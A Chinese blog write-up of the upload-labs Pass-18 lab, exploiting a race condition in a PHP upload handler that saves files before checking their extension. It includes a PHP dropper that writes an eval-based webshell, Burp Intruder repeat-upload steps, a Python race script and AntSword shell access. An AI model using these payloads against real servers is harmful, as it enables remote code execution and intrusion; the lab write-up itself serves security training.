文件上传 upload-labs Pass-18 条件竞争

Pass-18 条件竞争
审计源码

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错!';
    }
}

可以看到首先使用move_uploaded_file将文件进行上传,然后进行后缀名判断,如果不满足.jpg|.png|.gif文件类型,直接删除
这里的漏洞就是我们的文件首先可以上传到服务区,服务器经过if语句判断是否删除该文件
那么我们在服务器没有删除文件的时候,进行访问上传的php文件,上传php访问执行后会生成一个一句话木马文件
上传文件取名为create-shell.php

<?php fwrite(fopen('shell.php','w'),'<?php @eval($_POST[cmd]);?>');?>


首先我们使用burpsuite抓包,爆破模式一直上传文件


首先clear清楚所有变量

在末尾加入1,然后点击设置为变量

然后点击payload

然后点击Options,设置完点击Start attack为开始攻击,这里先展示不开始攻击

写一个访问creat-shell.php文件,并判断shell.php是否已经生成的python脚本
转载于:【upload-labs】条件竞争pass-17~pass-18

import requests
url1 = "http://ip/upload-labs/upload/create-shell.php"    # 定义访问 creat-shell.php
url2 = "http://ip/upload-labs/upload/shell.php"           # 定义访问 shell.php
while True:  # 定义死循环
	html1 = requests.get(url1)  # 请求 create-shell.php
	html2 = requests.get(url2)  # 请求 shell.php
	if html2.status_code == 200:  # 如果 shell.php 返回的http状态码为200
		print('Good job,Win Win Win')  # 打印 Good job.....
		break

这里由于物理机python环境出了点问题,使用kali进行运行


burpsuite点击start attack

查看脚本运行状态

返回了You Win,Good Job,代表我们文件上传成功

使用蚁剑连接测试,密码为cmd
http://172.16.1.101/upload-labs/upload/shell.php
点击测试连接成功

成功执行命令

posted @ 2022-04-09 15:22  Junglezt  阅读(240)  评论(0编辑  收藏  举报